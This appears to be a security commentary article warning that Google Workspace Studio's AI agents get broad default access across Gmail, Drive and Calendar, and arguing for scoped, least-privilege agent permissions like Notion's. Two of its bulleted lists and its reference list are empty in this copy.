Google just made it trivially easy for any employee to build AI agents that reach into every corner of your digital workspace. Google Workspace Studio, now generally available, lets users spin up agents in minutes using plain English prompts. These agents run natively across Gmail, Drive, Docs, Sheets, and Calendar, and each user can create up to 100 of them. The pitch is productivity. The problem is that convenience-first design and security-first design are rarely the same thing.

What Google actually shipped

Workspace Studio is powered by Gemini and gives every employee the ability to build, manage, and share AI agents without writing a line of code. Agents can automate workflows across Google's entire productivity suite, connect to third-party tools like Salesforce, Jira, and Asana via pre-built connectors, and extend further through Apps Script and Vertex AI. Sharing an agent is as simple as sharing a Drive file. That last detail matters. It means agent proliferation is not gated by IT. It is gated by anyone with a Google account and a Workspace license.

The least-privilege problem

There is a well-established security principle called least privilege: every user, service, or system should only have access to the resources strictly necessary for its job. It is one of the oldest ideas in information security, and it exists because broad access means broad blast radius when something goes wrong. Google's approach inverts this. Workspace Studio agents operate across your entire suite by default. An agent built to summarize meeting notes can, in principle, also read your email, browse your Drive, and scan your calendar. The access model is permissive unless an admin has explicitly locked it down, and most admins are not yet thinking about agent-level permissions at all. This is not a theoretical concern. Varonis has noted that AI tools operating on granted permissions can unintentionally expose sensitive data when users or services have excessive access. Okta has warned that "agent sprawl," the rapid deployment of autonomous agents with unmanaged privileged identities, is already one of the primary challenges enterprises face.

What a compromised agent can actually do

The risks stop being abstract when you walk through the attack surface. An AI agent with broad Workspace access that gets hijacked, whether through prompt injection, credential theft, or a poisoned third-party connector, can do things like:

The numbers back up the urgency. Obsidian Security reported roughly 16,200 AI-related security incidents in 2025, a 49% increase year over year, with an average breach cost of $4.8 million according to IBM.

A different model: scoped permissions by design

Not every platform takes the default-open approach. Notion, for example, scopes agent permissions explicitly. An agent gets access to specific pages or databases, granted one at a time. If you build an agent to manage a project tracker, it can see that tracker and nothing else. It cannot wander into your private notes, read your meeting transcripts, or poke around in unrelated databases. This is the "one agent, one job" philosophy. Each agent has a narrow, well-defined purpose and only the permissions required to fulfill it. The attack surface shrinks to match the job description. A compromised project-tracking agent cannot exfiltrate your HR documents because it never had access to them in the first place. The contrast is instructive. Google's model optimizes for speed of creation and breadth of capability. A scoped model optimizes for containment and predictability. Both involve tradeoffs, but when the downside of getting it wrong is automated data exfiltration at machine speed, containment should win.

The minimum security bar

McKinsey's playbook on agentic AI deployment recommends a layered approach: update governance frameworks first, establish oversight mechanisms, then implement technical controls. That is good advice for a planning document. But if your organization just woke up to find Workspace Studio already enabled, you need a more immediate checklist. Here is the minimum bar:

The real AI risk

The dominant narrative around AI risk still orbits around sentience, job displacement, and existential scenarios. These make for compelling headlines but poor threat models. The actual, present-day risk is far more mundane and far more urgent: autonomous software with broad access to sensitive systems, running at machine speed, with insufficient guardrails. Google Workspace Studio is a genuinely useful product. The ability to automate repetitive work with natural language is a real productivity gain. But useful and safe are different properties, and right now the gap between them is wider than it should be. If your organization has Workspace Studio enabled, the question is not whether to use it. It is whether your security posture is ready for what it makes possible.

References